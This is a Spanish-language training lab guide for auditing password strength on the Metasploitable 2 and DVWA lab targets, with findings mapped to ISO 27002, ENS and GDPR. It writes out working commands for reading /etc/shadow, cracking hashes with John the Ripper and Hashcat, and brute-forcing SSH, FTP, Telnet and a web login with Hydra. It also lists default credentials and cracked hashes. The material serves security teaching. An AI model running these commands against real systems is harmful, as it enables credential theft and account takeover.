

MF0487_3 - AUDITORIA DE SEGURIDAD INFORMATICA

LABORATORIO 6

Analisis de Contraseñas

John the Ripper - Hashcat - Hydra

Hashes: /etc/shadow, MySQL DVWA, SSH, FTP, Telnet

Normativa: LOPDGDD art. 5 - ISO 27002:2022 ctrl. 5.17 - ENS op.acc.5, mp.si.2 - RGPD art. 32

Duracion estimada: 4 horas - Nivel: Intermedio - Prerrequisitos: LAB-01, LAB-02

AVISO LEGAL: El crackeo de contraseñas sin autorización es un delito. Este laboratorio opera exclusivamente sobre sistemas propios en entorno controlado.

0. FICHA TECNICA DEL LABORATORIO

Codigo	LAB-06	UD	UD4
Titulo	Analisis de Contraseñas: Auditoria de Politica y Resistencia	Duracion	4 h
Normativa	LOPDGDD art. 5 - ISO 27001:2022 A.5.17 - ISO 27002:2022 ctrl. 5.17 - ENS (op.acc.5, mp.si.2) - RGPD art. 32	Nivel	Intermedio
Herramientas	John the Ripper - Hashcat - Hydra - hash-identifier - unshadow - Hashcat-utils	Prereq.	LAB-01, LAB-02
Objetivo	<i>Auditar la resistencia de las contraseñas extraídas de Metasploitable 2 (hashes /etc/shadow, hashes MySQL DVWA, credenciales de servicios) usando John the Ripper, Hashcat e Hydra. Evaluar la política de contraseñas del sistema y su conformidad con ISO 27002:2022 control 5.17 y la LOPDGDD.</i>		

1. MARCO NORMATIVO - CONTRASEÑAS Y AUTENTICACION

La gestión de contraseñas es uno de los controles de seguridad más fundamentales y, a la vez, uno de los más frecuentemente incumplidos. Las siguientes referencias establecen los requisitos mínimos que se evaluarán en este laboratorio:

1.1 ISO 27002:2022 - Control 5.17: Información de autenticación

El control 5.17 de ISO 27002:2022 es la referencia técnica principal para este laboratorio. Establece los requisitos para la gestión de información de autenticación (contraseñas, tokens, certificados):

- * Las contraseñas temporales asignadas durante el alta de usuarios deben ser únicas y obligar al cambio en el primer acceso.
- * No se deben establecer contraseñas por defecto para ninguna cuenta de servicio o sistema.
- * Los sistemas deben verificar la calidad de las contraseñas: longitud mínima, complejidad (mayúsculas, minúsculas, dígitos, símbolos), historial de contraseñas usadas anteriormente.
- * Las contraseñas deben almacenarse con hashing criptográfico robusto (bcrypt, scrypt, Argon2, PBKDF2). El uso de MD5 o SHA-1 sin salt para almacenar contraseñas incumple directamente este control.
- * Los sistemas deben detectar e impedir el uso de contraseñas comprometidas conocidas (listas HavelBeenPwned, NIST SP 800-63B).
- * Las contraseñas no deben transmitirse en texto claro. Deben cifrarse en tránsito (TLS/SSH) y en reposo (hashing).

LEY: ISO 27002:2022 control 5.17 también exige que las organizaciones implementen un proceso formal de gestión del ciclo de vida de las credenciales: emisión, renovación, revocación y auditoría periódica de accesos. Este laboratorio audita precisamente si las credenciales de Metasploitable 2 cumplen estos requisitos.

1.2 LOPDGDD - Ley Orgánica 3/2018 de Protección de Datos

- * Art. 5 LOPDGDD: las medidas de seguridad aplicadas al tratamiento de datos personales deben ser las adecuadas al riesgo. Una política de contraseñas débil sobre sistemas que tratan datos personales constituye una medida de seguridad inadecuada.
- * Disposición adicional primera LOPDGDD: para tratamientos de datos de las Administraciones Públicas, las medidas de seguridad del ENS son de obligado cumplimiento.
- * RGPD art. 32.1.b: el seudonimización y cifrado de datos personales son medidas técnicas de seguridad del tratamiento. El almacenamiento de contraseñas en MD5 sin salt que protegen el acceso a datos personales incumple este artículo.
- * RGPD art. 83.4: las infracciones del art. 32 pueden sancionarse con multas de hasta 10 millones de euros o el 2% de la facturación anual global, según cual sea mayor.

1.3 ENS - RD 311/2022

- * op.acc.5 - Mecanismo de autenticación (usuarios externos): para sistemas de categoría MEDIA, se exige autenticación con factor adicional o contraseñas de alta entropía. Para ALTA, se exige autenticación multifactor. Las contraseñas simples o por defecto incumplen directamente este control.
- * mp.si.2 - Cifrado de la información: las contraseñas almacenadas en sistemas ENS deben estar cifradas o hasheadas con algoritmos robustos. MD5 y SHA-1 no son algoritmos aceptados para este fin en el contexto ENS.

1.4 NIST SP 800-63B - Digital Identity Guidelines

Aunque no es normativa española, el NIST SP 800-63B es la referencia técnica más citada en materia de política de contraseñas. Sus recomendaciones clave (actualizadas en 2024) son:

- * Longitud mínima: 8 caracteres para memorized secrets; se recomienda al menos 15 para cuentas privilegiadas.

- * No imponer caducidad periodica obligatoria. Solo cambiar cuando haya evidencia de compromiso.
- * Verificar contraseñas contra listas de contraseñas comprometidas conocidas.
- * No imponer reglas de composicion complejas (las reglas complejas fomentan patrones predecibles como Password1!).
- * Almacenamiento: obligatorio usar key stretching (bcrypt, scrypt, Argon2). Prohibido MD5, SHA-1 y SHA-256 directos sin iteracion.

1.5 Tipos de algoritmos de hashing de contraseñas

Algoritmo	Usado en	Resistencia al crackeo	Aceptado por ISO 27002:2022	Aceptado por ENS
MD5	Aplicaciones antiguas, MySQL < 8, DVWA	MUY BAJA - GPU trivial	NO	NO
SHA-1	Git, legacy apps	BAJA - GPU rapido	NO	NO
SHA-256 / SHA-512 (simple)	Linux /etc/shadow (crypt \$5/\$6)	MEDIA - depende de salt	MARGINAL	MARGINAL
SHA-512 + salt (crypt \$6\$)	Linux moderno /etc/shadow	MEDIA-ALTA	SI	SI
bcrypt (\$2y\$)	PHP, aplicaciones web modernas	ALTA - cost factor configurable	SI	SI
Argon2id	Aplicaciones modernas (ganador PHC)	MUY ALTA - winner Password Hashing Competition	SI	SI
PBKDF2	LUKS, WPA2, Django	ALTA - iteraciones configurables	SI	SI

AVISO: El objetivo de este laboratorio es DEMOSTRAR que las contraseñas debiles son vulnerables, no proporcionar tecnicas para comprometer sistemas ajenos. Todo el trabajo se realiza sobre hashes extraidos de Metasploitable 2 en el entorno de laboratorio controlado. El uso de estas tecnicas fuera de este contexto puede constituir un delito tipificado en el art. 197 bis delCodigo Penal espanol.

2. ENTORNO Y PREPARACION

2.1 Fuentes de hashes en Metasploitable 2

Fuente	Tipo de hash	Donde se encuentra	Tarea del lab
Sistema Linux /etc/shadow	SHA-512 crypt (\$6\$)	/etc/shadow (requiere root o unshadow)	Tarea 2 y 3
MySQL - DVWA users	MD5 (sin salt)	BD dvwa, tabla users, campo password	Tarea 4
MySQL - sistema	MD5 (sin salt)	mysql.user, campo Password	Tarea 4
Credenciales de red - SSH	No hash: autenticacion remota	Puerto 22, servicio SSH activo	Tarea 5 (Hydra)
Credenciales de red - FTP	No hash: autenticacion remota	Puerto 21, servicio FTP activo	Tarea 5 (Hydra)
Credenciales de red - Telnet	No hash: autenticacion remota	Puerto 23, servicio Telnet activo	Tarea 5 (Hydra)

2.2 Preparacion del directorio de trabajo

```
mkdir -p ~/lab06/{hashes,wordlists,resultados,evidencias}
cd ~/lab06
```

2.3 Wordlists disponibles en Kali Linux Purple

Wordlist	Ruta en Kali	Tamano	Uso recomendado
rockyou.txt	/usr/share/wordlists/rockyou.txt	14 millones de entradas	Ataque de diccionario principal
common.txt	/usr/share/wordlists/wfuzz/others/common.txt	~1000 entradas	Contraseñas muy comunes, rapido
john.lst	built-in John the Ripper	Incluida en instalacion	Wordlist por defecto de John
fasttrack.txt	Incluida en Metasploit	~250 entradas	Credenciales por defecto de servicios
darkweb2017-top10000.txt	/usr/share/wordlists/ (disponible)	10000 entradas	Contraseñas de brechas reales

```
# Descomprimir rockyou si es necesario
sudo gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null || true
wc -l /usr/share/wordlists/rockyou.txt
```

2.4 Verificacion de herramientas

```
john --version
hashcat --version
hydra -h 2>&1 | head -3
hash-identifier --help 2>&1 | head -5
```

3. OBJETIVOS DE APRENDIZAJE

- * Extraer hashes de contraseñas de /etc/shadow y bases de datos MySQL de Metasploitable 2.
- * Identificar el tipo de algoritmo de hashing usando hash-identifier y la nomenclatura de prefijos (\$1\$, \$6\$, etc.).
- * Ejecutar ataques de diccionario con John the Ripper usando wordlists progresivas.
- * Ejecutar ataques de diccionario y basados en reglas con Hashcat, seleccionando el modo correcto según el tipo de hash.
- * Ejecutar ataques de fuerza bruta en línea con Hydra contra servicios de red activos (SSH, FTP, Telnet, HTTP).
- * Evaluar la política de contraseñas del sistema contra ISO 27002:2022 control 5.17, ENS op.acc.5 y LOPDGDD art. 5.
- * Documentar cada hallazgo con su impacto normativo y proponer recomendaciones técnicas concretas.

4. DESARROLLO DEL LABORATORIO

TAREA 1 - Extracción de hashes del sistema (20 min)

1.1 Extraer hashes del fichero /etc/shadow

El fichero /etc/shadow almacena los hashes de las contraseñas de todos los usuarios del sistema Linux. Solo es accesible por root. Metasploitable 2 usa el formato crypt SHA-512 (\$6\$) para la mayoría de usuarios.

```
# Conectar a Metasploitable 2 por SSH
ssh msfadmin@<IP_META>

# Ver el contenido de /etc/shadow (requiere sudo)
sudo cat /etc/shadow

# Formato de cada linea: usuario:$tipo$salt$hash:dias:min:max:warn:...
# $1$ = MD5    $5$ = SHA-256    $6$ = SHA-512

# Guardar solo las lineas con hash (no cuentas bloqueadas con !)
sudo grep -v '!' /etc/shadow | grep -v '*' > /tmp/shadow_clean.txt
cat /tmp/shadow_clean.txt
exit

# Copiar el fichero shadow a Kali
scp msfadmin@<IP_META>:/tmp/shadow_clean.txt ~/lab06/hashes/shadow_meta.txt
```

1.2 Combinar passwd y shadow con unshadow

La herramienta unshadow (incluida con John) combina /etc/passwd y /etc/shadow en el formato que John the Ripper espera:

```
# Copiar tambien /etc/passwd
scp msfadmin@<IP_META>:/etc/passwd ~/lab06/hashes/passwd_meta.txt

# Combinar ambos ficheros
unshadow ~/lab06/hashes/passwd_meta.txt ~/lab06/hashes/shadow_meta.txt >
~/lab06/hashes/combined.txt
cat ~/lab06/hashes/combined.txt | head -20
```

1.3 Extraer hashes MD5 de MySQL / DVWA

Los hashes de DVWA se obtuvieron en el LAB-04 mediante SQL Injection. Si no los tienes, extrae directamente desde MySQL:

```
# Conectar a MySQL (recuerda: sin contraseña)
mysql -h <IP_META> -u root

# En el prompt MySQL:
USE dvwa;
SELECT user, password FROM users;
EXIT;

# Guardar los hashes en fichero
mysql -h <IP_META> -u root -e 'USE dvwa; SELECT password FROM users;' 2>/dev/null \
```

```
| grep -v 'password' > ~/lab06/hashes/dvwa_md5.txt
cat ~/lab06/hashes/dvwa_md5.txt
```

i Los hashes MD5 de DVWA no tienen prefijo de tipo (son hashes MD5 crudos de 32 caracteres hexadecimales). Esto es diferente del formato crypt de /etc/shadow. Necesitaras especificar el tipo de hash explicitamente en John y Hashcat.

1.4 Identificacion del tipo de hash

Antes de seleccionar la herramienta y el ataque, es fundamental identificar correctamente el tipo de hash:

```
# hash-identifier - herramienta interactiva
hash-identifier
# Pega un hash de /etc/shadow y otro de DVWA para ver la identificacion

# Hashid - alternativa en linea de comandos
hashid '5f4dcc3b5aa765d61d8327deb882cf99'          # Hash MD5 de DVWA
hashid '$6$salt$hashlargo...'                      # Hash SHA-512 de shadow
```

Prefijo crypt	Algoritmo	Longitud del hash	Coste computacional para crackear
\$1\$	MD5-crypt	22 caracteres (base64)	MUY BAJO - obsoleto
\$2y\$ / \$2b\$	bcrypt	53 caracteres	ALTO - factor de coste configurable
\$5\$	SHA-256-crypt	43 caracteres	MEDIO
\$6\$	SHA-512-crypt	86 caracteres	MEDIO-ALTO
Sin prefijo (32 hex)	MD5 puro	32 caracteres hex	MUY BAJO - trivial con GPU
Sin prefijo (40 hex)	SHA-1 puro	40 caracteres hex	BAJO

TAREA 2 - John the Ripper: ataques de diccionario y modos (60 min)

John the Ripper es la herramienta de referencia para el crackeo de contraseñas offline. Soporta cientos de formatos de hash y varios modos de ataque: wordlist, incremental (fuerza bruta), reglas y single crack.

2.1 Modos de John the Ripper

Modo	Flag John	Descripcion	Cuando usarlo
Single crack	--single	Usa informacion del propio fichero GECOS del usuario (nombre, apellidos) para generar variantes	Primer intento - rapido y efectivo para contraseñas basadas en el nombre de usuario
Wordlist	--wordlist=<file>	Prueba todas las entradas de una lista de palabras	Segundo intento - usar rockyou.txt u otras listas
Reglas (Rules)	--wordlist --rules	Aplica transformaciones a cada palabra: capitalizacion, numeros al final, leetspeak, etc.	Tercero - amplia la cobertura sin aumentar el tamaño de la wordlist
Incremental	--incremental	Fuerza bruta exhaustiva caracter a caracter	Ultimo recurso - solo para hashes muy debiles o contraseñas cortas

2.2 Ataque Single crack - primer intento

```
# Modo single: usa informacion GECOS del passwd para generar variantes
john --single ~/lab06/hashes/combined.txt

# Ver contraseñas crackeadas hasta ahora
john --show ~/lab06/hashes/combined.txt
```

2.3 Ataque de diccionario con rockyou.txt

```
# Wordlist con rockyou.txt - el diccionario mas completo disponible
john --wordlist=/usr/share/wordlists/rockyou.txt ~/lab06/hashes/combined.txt

# Seguimiento en tiempo real (en otra terminal)
john --status ~/lab06/hashes/combined.txt

# Ver resultados parciales en cualquier momento (Ctrl+C para pausar)
john --show ~/lab06/hashes/combined.txt
```

TIP: John guarda el progreso en ~/.john/john.pot. Si interrumpes el ataque, puedes reanudarlo con john -restore. El fichero .pot actúa como cache de hashes ya crackeados: si ejecutas John de nuevo sobre los mismos hashes, mostrara los resultados del .pot sin recalcular.

2.4 Ataque con reglas - ampliar la cobertura

```
# Aplicar reglas de transformacion sobre rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt --rules
~/lab06/hashes/combined.txt

# Reglas especificas: solo aplicar el conjunto 'Jumbo'
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo
~/lab06/hashes/combined.txt
```

Las reglas de John aplican transformaciones como: primera letra en mayuscula (password -> Password), numeros al final (password -> password123), leetspeak (password -> p4ssw0rd), inversion (password -> drowssap). Estas transformaciones cubren los patrones mas frecuentes en contraseñas reales segun los estudios de brechas.

2.5 Crackeo de hashes MD5 de DVWA con John

```
# John necesita saber que son hashes MD5 puros (sin formato crypt)
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
~/lab06/hashes/dvwa_md5.txt

# Ver resultados
john --format=Raw-MD5 --show ~/lab06/hashes/dvwa_md5.txt
```

2.6 Tabla de resultados - John the Ripper

Usuario	Tipo de hash	Contraseña crackeada	Tiempo	Modo usado	Valoración
msfadmin	SHA-512 crypt	_____	_____	_____	DEBIL
root	SHA-512 crypt	_____	_____	_____	_____
user	SHA-512 crypt	_____	_____	_____	_____
service	SHA-512 crypt	_____	_____	_____	_____
admin (DVWA)	MD5 puro	_____	_____	_____	DEBIL
gordonb (DVWA)	MD5 puro	_____	_____	_____	_____
1337 (DVWA)	MD5 puro	_____	_____	_____	_____
pablo (DVWA)	MD5 puro	_____	_____	_____	_____
smithy (DVWA)	MD5 puro	_____	_____	_____	_____

TAREA 3 - Hashcat: ataques avanzados con GPU y mascarar (50 min)

Hashcat es el crackeador de hashes mas rapido del mundo gracias a su soporte de GPU (OpenCL/CUDA). En Kali virtualizado usaremos la CPU (-D 1), pero los conceptos son exactamente los mismos que en un sistema con GPU dedicada.

3.1 Modos de ataque Hashcat (-a)

Modo	Flag -a	Descripcion	Velocidad relativa
Diccionario	0	Prueba todas las entradas de una wordlist	Alta - limitada por el tamaño de la wordlist
Combinacion	1	Combina dos wordlists: cada palabra de lista1 + cada palabra de lista2	Media - puede generar millones de combinaciones
Fuerza bruta / mascara	3	Prueba todas las combinaciones de un patron definido (?l?u?d?s)	Variable - depende del espacio de busqueda
Hibrido wordlist+mascara	6	Wordlist con sufijo de mascara: password + ?d?d?d	Alta - cubre el patron mas frecuente de contraseñas
Hibrido mascara+wordlist	7	Prefijo de mascara + wordlist: ?d?d + password	Alta - cubre prefijos numericos

3.2 Tipos de hash Hashcat (-m)

Tipo de hash	Codigo -m	Ejemplo de hash	Donde aparece en el lab
MD5 puro	0	5f4dcc3b5aa765d61d8327deb882cf99	Hashes DVWA extraídos en Tarea 1
SHA-1 puro	100	5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8	Algunos servicios legacy
SHA-256 puro	1400	5e884898da28047151d0e56f8dc629277...	Aplicaciones modernas
md5crypt / \$1\$	500	\$1\$abc\$hashlargo	Linux crypt MD5 (obsoleto)
sha512crypt / \$6\$	1800	\$6\$salt\$hashlargo86chars	Linux /etc/shadow moderno
bcrypt / \$2y\$	3200	\$2y\$10\$salt53chars	PHP password_hash()
MySQL3.x < 4.1	200	606717496665bcba	MySQL antiguo
MySQL4.1+	300	*2470C0C06DEE42FD1618BB9900DFG1E6Y9C5ADB	MySQL moderno

3.3 Ataque de diccionario con Hashcat

```
# Preparar fichero de hashes MD5 limpios (un hash por linea)
cp ~/lab06/hashes/dvwa_md5.txt ~/lab06/hashes/dvwa_hashcat.txt

# Ataque de diccionario sobre hashes MD5 (modo 0)
hashcat -m 0 -a 0 ~/lab06/hashes/dvwa_hashcat.txt \
  /usr/share/wordlists/rockyou.txt \
  --outfile ~/lab06/resultados/hashcat_md5.txt \
  -D 1 --force

# Ver resultados
```

```
cat ~/lab06/resultados/hashcat_md5.txt
```

```
# Ataque de diccionario sobre hashes SHA-512 de /etc/shadow (modo 1800)
# Extraer solo los hashes del fichero combined.txt
cut -d: -f2 ~/lab06/hashes/combined.txt | grep '\$6\$' >
~/lab06/hashes/sha512_hashes.txt

hashcat -m 1800 -a 0 ~/lab06/hashes/sha512_hashes.txt \
/usr/share/wordlists/rockyou.txt \
--outfile ~/lab06/resultados/hashcat_sha512.txt \
-D 1 --force
```

TIP: En una maquina virtual sin GPU, hashcat con modo 1800 (sha512crypt) sera muy lento: solo unas decenas de hashes por segundo. En un sistema con GPU RTX 3080, la velocidad es de varios cientos de miles de hashes por segundo. Usa la opcion --status para ver la velocidad y el progreso estimado.

3.4 Ataque de mascara - patrones predecibles

Las mascaras definen el espacio de busqueda caracter a caracter. Los simbolos de mascara son:

- * ?l = letra minuscula (a-z, 26 caracteres)
- * ?u = letra mayuscula (A-Z, 26 caracteres)
- * ?d = digito (0-9, 10 caracteres)
- * ?s = simbolo especial (!@#\\$%^&*..., 33 caracteres)
- * ?a = todos los anteriores combinados (95 caracteres imprimibles)

```
# Mascara: 8 caracteres todos minusculas - espacio: 26^8 = 208 mil millones
hashcat -m 0 -a 3 ~/lab06/hashes/dvwa_hashcat.txt '?l?l?l?l?l?l?l?l' -D 1 --force

# Patron muy frecuente: 1 mayuscula + 5 minusculas + 2 digitos (Password12)
hashcat -m 0 -a 3 ~/lab06/hashes/dvwa_hashcat.txt '?u?l?l?l?l?l?d?d' -D 1 --force

# Patron: palabra + 4 digitos (password2024)
hashcat -m 0 -a 6 ~/lab06/hashes/dvwa_hashcat.txt \
/usr/share/wordlists/rockyou.txt '?d?d?d?d' -D 1 --force
```

3.5 Ataque con reglas de Hashcat

```
# Reglas best64.rule - las 64 transformaciones mas efectivas segun estudios
hashcat -m 0 -a 0 ~/lab06/hashes/dvwa_hashcat.txt \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
--outfile ~/lab06/resultados/hashcat_rules.txt -D 1 --force

# Reglas OneRuleToRuleThemAll (si disponible) - la regla mas efectiva conocida
hashcat -m 0 -a 0 ~/lab06/hashes/dvwa_hashcat.txt \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/rockyou-30000.rule \
-D 1 --force
```

3.6 Ejemplo de hashes DVWA y sus contraseñas en claro

Para referencia del alumno, estos son los hashes MD5 de los usuarios por defecto de DVWA y sus contraseñas:

```
5f4dcc3b5aa765d61d8327deb882cf99 -> password      (usuario: admin)
e99a18c428cb38d5f260853678922e03 -> abc123       (usuario: gordonb)
8d3533d75ae2c3966d7e0d4fcc69216b -> charley      (usuario: 1337)
0d107d09f5bbe40cade3de5c71e9e9b7 -> letmein      (usuario: pablo)
5f4dcc3b5aa765d61d8327deb882cf99 -> password      (usuario: smithy)
```

Observa que admin y smithy tienen el mismo hash porque usan la misma contraseña. Esto es posible porque los hashes MD5 de DVWA no usan salt. Con salt, el mismo texto plano produciría hashes diferentes, impidiendo esta deducción.

LEY: El almacenamiento de contraseñas sin salt incumple directamente ISO 27002:2022 control 5.17, que exige que las contraseñas almacenadas se protejan de forma que sean resistentes al ataque offline. MD5 sin salt no cumple este requisito bajo ningún criterio normativo vigente.

TAREA 4 - Hydra: ataques de fuerza bruta en línea (40 min)

Hydra realiza ataques de fuerza bruta contra servicios de red activos: prueba combinaciones de usuario y contraseña conectándose al servicio real. A diferencia de John y Hashcat (que trabajan sobre hashes locales), Hydra realiza conexiones de red reales al objetivo.

AVISO: Hydra genera un volumen significativo de conexiones en un tiempo muy corto. En sistemas reales con mecanismos de bloqueo de cuenta (OWASP A07), esto puede bloquear cuentas legítimas. En entornos de producción, los ataques de fuerza bruta en línea deben coordinarse cuidadosamente con el cliente. En Metasploitable 2 no hay mecanismo de bloqueo, lo que es en sí mismo un hallazgo de auditoría.

4.1 Preparar listas de usuarios y contraseñas

```
# Crear lista de usuarios de Metasploitable 2
cat > ~/lab06/wordlists/users_meta.txt << 'EOF'
msfadmin
root
user
service
admin
postgres
tomcat
EOF

# Lista de contraseñas comunes (reducida para el lab)
cat > ~/lab06/wordlists/pass_comunes.txt << 'EOF'
msfadmin
password
123456
admin
root
toor
service
postgres
tomcat
abc123
letmein
EOF
```

4.2 Hydra contra SSH

```
# Ataque SSH con lista de usuarios y contraseñas
hydra -L ~/lab06/wordlists/users_meta.txt \
      -P ~/lab06/wordlists/pass_comunes.txt \
      ssh://<IP_META> \
      -t 4 -V -o ~/lab06/resultados/hydra_ssh.txt

# -t 4 = 4 hilos paralelos (SSH limita conexiones simultáneas)
# -V = verbose, muestra cada intento
# -o = guardar resultados en fichero
```

Credenciales SSH encontradas: _____

4.3 Hydra contra FTP

```
hydra -L ~/lab06/wordlists/users_meta.txt \
-P ~/lab06/wordlists/pass_comunes.txt \
ftp://<IP_META> \
-t 10 -V -o ~/lab06/resultados/hydra_ftp.txt
```

Credenciales FTP encontradas: _____

4.4 Hydra contra Telnet

```
hydra -L ~/lab06/wordlists/users_meta.txt \
-P ~/lab06/wordlists/pass_comunes.txt \
telnet://<IP_META> \
-t 4 -V -o ~/lab06/resultados/hydra_telnet.txt
```

4.5 Hydra contra formulario web HTTP - DVWA Brute Force

Hydra puede atacar formularios de login web. Necesita conocer la URL del formulario, los parametros de usuario y contraseña, y una cadena que aparezca SOLO en la respuesta de login fallido:

```
# Primero, inicia sesion manualmente en DVWA y obtener la cookie de sesion
# La cookie PHPSESSID es necesaria para acceder al modulo Brute Force

# Ver la cookie de sesion
curl -c /tmp/dvwa_cookies.txt -b 'security=low' \
-d 'username=admin&password=password&Login=Login' \
http://<IP_META>/dvwa/login.php -v 2>&1 | grep -i 'set-cookie'

# Ataque al modulo Brute Force de DVWA
hydra -l admin \
-P /usr/share/wordlists/rockyou.txt \
<IP_META> http-get-form \

'/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:
PHPSESSID=<TU_COOKIE>;security=low:F=Username and/or password incorrect' \
-t 10 -V -o ~/lab06/resultados/hydra_dvwa.txt
```

TIP: Sustituye <TU_COOKIE> por el valor real del PHPSESSID que obtengas al iniciar sesion en DVWA. La cadena 'F=Username and/or password incorrect' es el texto que Hydra busca en la respuesta para saber que el intento ha fallado; cuando no aparece, la contraseña es correcta.

4.6 Tabla de resultados - Hydra

Servicio	Puerto	Credenciales encontradas	Intentos realizados	Tiempo	Mecanismo de bloqueo?
SSH	22	_____	_____	_____	No (hallazgo)
FTP	21	_____	_____	_____	No (hallazgo)
Telnet	23	_____	_____	_____	No (hallazgo)
HTTP - DVWA	80	_____	_____	_____	No (hallazgo)

LEY: La ausencia de mecanismo de bloqueo de cuenta (account lockout) incumple directamente ISO 27002:2022 control 5.17 y el control OWASP WSTG-ATHN-03. Permite ataques de fuerza bruta ilimitados. Es también un incumplimiento de ENS op.acc.5 para sistemas de categoría MEDIA y ALTA.

TAREA 5 - Evaluación de la política de contraseñas contra ISO 27002:2022 (30 min)

Con todos los resultados obtenidos en las tareas anteriores, realizamos la evaluación formal de la política de contraseñas del sistema auditado contra los criterios de ISO 27002:2022 control 5.17 y ENS op.acc.5.

5.1 Matriz de evaluación normativa

Criterio (ISO 27002:2022 ctrl. 5.17 / ENS op.acc.5)	Situación en Metasploitable 2	Resultado	Evidencia
Contraseñas por defecto cambiadas en primer acceso	msfadmin/msfadmin sin cambiar desde la instalación	NO CONFORME	Hydra - Tarea 4
Política de longitud mínima (≥ 8 caracteres)	Sin política PAM configurada en /etc/pam.d	NO CONFORME	Revision SSH - Tarea 1
Política de complejidad (mayus, minus, digitos, simbolos)	Sin política PAM configurada	NO CONFORME	Revision SSH - Tarea 1
Almacenamiento con hashing robusto (bcrypt/Argon2)	SHA-512 en shadow (aceptable) / MD5 puro en MySQL (incumple)	PARCIAL	Tarea 1 y 3
Uso de salt en el almacenamiento de hashes	Shadow usa salt / MySQL DVWA sin salt (MD5 puro)	PARCIAL	Tarea 3 - hashes identicos para misma pass
Mecanismo de bloqueo tras intentos fallidos	No existe ningun mecanismo de bloqueo	NO CONFORME	Hydra - Tarea 4
Historial de contraseñas (no reutilización)	Sin política de historial configurada	NO CONFORME	Revision configuracion
Transmisión cifrada de credenciales	SSH cifrado (correcto) / Telnet y FTP en claro (incumple)	PARCIAL	LAB-03 evidencia
No almacenar contraseñas en texto claro	Sin contraseñas en claro detectadas en ficheros de config	CONFORME	Revision configuracion
Verificación contra listas de contraseñas comprometidas	Sin mecanismo implementado	NO CONFORME	No existe configuracion

5.2 Analisis de entropía de las contraseñas crackeadas

La entropía de una contraseña mide la dificultad de adivinarla. Se calcula como $\log_2(N^L)$ bits, donde N es el tamaño del alfabeto y L la longitud de la contraseña.

Contraseña crackeada	Longitud	Alfabeto	Entropía (bits)	Tiempo de crackeo estimado (GPU RTX 3080)	Valoración
password	8	26 min	37.6	< 1 segundo (esta en rockyou)	DEBIL
msfadmin	8	36 mixto	41.3	< 1 segundo (esta en rockyou)	DEBIL
abc123	6	36 mixto	30.9	< 1 segundo	DEBIL
charley	7	26 min	33.0	< 1 segundo (nombre comun)	DEBIL
letmein	7	26 min	33.0	< 1 segundo (esta en rockyou)	DEBIL

P@ssw0rd1!	10	95 todos	65.6	Días (pero en diccionarios de reglas)	MEDIA
4xK#mP9!vL2\$	12	95 todos	78.7	Siglos con GPU	FUERTE

Nota: las estimaciones de tiempo asumen ataques de diccionario optimizados. Una contraseña larga pero predecible (P@ssw0rd1!) puede crackearse en minutos con reglas aunque su entropía teórica sea alta.

TAREA 6 - Documentación de hallazgos (30 min)

C-01 Contraseñas por defecto sin cambiar - msfadmin:msfadmin, root:toor	
Control normativo incumplido	ISO 27002:2022 ctrl. 5.17 - ENS op.acc.5 - LOPDGDD art. 5
Herramienta utilizada	Hydra (ataque SSH, FTP, Telnet) - John the Ripper (single crack)
Descripción del hallazgo	Las cuentas de sistema msfadmin y root usan las contraseñas por defecto establecidas durante la instalación de Metasploitable 2. Estas credenciales aparecen en las primeras entradas de cualquier wordlist pública (rockyou.txt, SecLists). El ataque de fuerza bruta con Hydra las obtiene en segundos. ISO 27002:2022 control 5.17 exige expresamente que las contraseñas temporales o por defecto sean cambiadas en el primer acceso.
Comandos / evidencia técnica	<pre>hydra -l msfadmin -P rockyou.txt ssh://<IP_META> -> [SSH] host: <IP_META> login: msfadmin password: msfadmin john --single combined.txt -> root:toor</pre>
Resultado obtenido	Credenciales msfadmin:msfadmin obtenidas en < 5 segundos. Credenciales root:toor obtenidas en < 10 segundos. Acceso SSH completo al sistema con estas credenciales.
Impacto	Acceso total al sistema como usuario administrador. Compromiso de todos los datos almacenados. Si el sistema trata datos personales, brecha notificable a la AEPD en 72 horas (RGPD art. 33). MAGERIT: Amenaza [A.11] + [A.6], dimensiones C, I y D.
Recomendación técnica	Cambiar inmediatamente todas las contraseñas por defecto. Implementar política PAM (pam_pwquality) en /etc/pam.d/common-password: minlen=12, dcredit=-1, ucredit=-1, lcredit=-1, ocredit=-1. Establecer contraseña de root con: passwd root. Documentar el proceso de alta de usuarios con contraseña temporal de uso único.
Referencia normativa completa	ISO 27002:2022 ctrl. 5.17. ENS op.acc.5 (Mecanismo de autenticación). LOPDGDD art. 5. RGPD art. 32.1. NIST SP 800-63B sección 5.1.1.

C-02 Hashes MD5 sin salt en base de datos MySQL / DVWA	
Control normativo incumplido	ISO 27002:2022 ctrl. 5.17 - RGPD art. 32.1.b - ENS mp.si.2
Herramienta utilizada	Hashcat (-m 0, modo diccionario) - Extracción SQL Injection (LAB-04)
Descripción del hallazgo	La aplicación DVWA almacena las contraseñas de sus usuarios usando hashes MD5 puros sin salt. MD5 es un algoritmo de propósito general (no diseñado para contraseñas) con una velocidad de cómputo de miles de millones de hashes por segundo en GPUs modernas. La ausencia de salt permite detectar contraseñas idénticas (admin y smithy comparten el mismo hash 5f4dcc3b5aa765d61d8327deb882cf99) y usar tablas rainbow precalculadas. Estos hashes se obtuvieron mediante SQL Injection en el LAB-04.
Comandos / evidencia técnica	<pre>hashcat -m 0 -a 0 dvwa_md5.txt rockyou.txt -D 1 -> 5f4dcc3b5aa765d61d8327deb882cf99:password e99a18c428cb38d5f260853678922e03:abc123 8d3533d75ae2c3966d7e0d4fcc69216b:charley</pre>
Resultado obtenido	5 de 5 hashes MD5 crackeados en < 30 segundos con rockyou.txt. Dos usuarios con la misma contraseña detectados por hash idéntico.
Impacto	Exposición de todas las contraseñas de usuarios de la aplicación web. Posible reutilización de contraseñas en otros servicios (email, banca online). Si la BD contiene datos personales, incumplimiento del art. 32.1.b RGPD (cifrado de datos personales). Sanción potencial: hasta 10 millones EUR o 2% facturación global (RGPD art. 83.4).

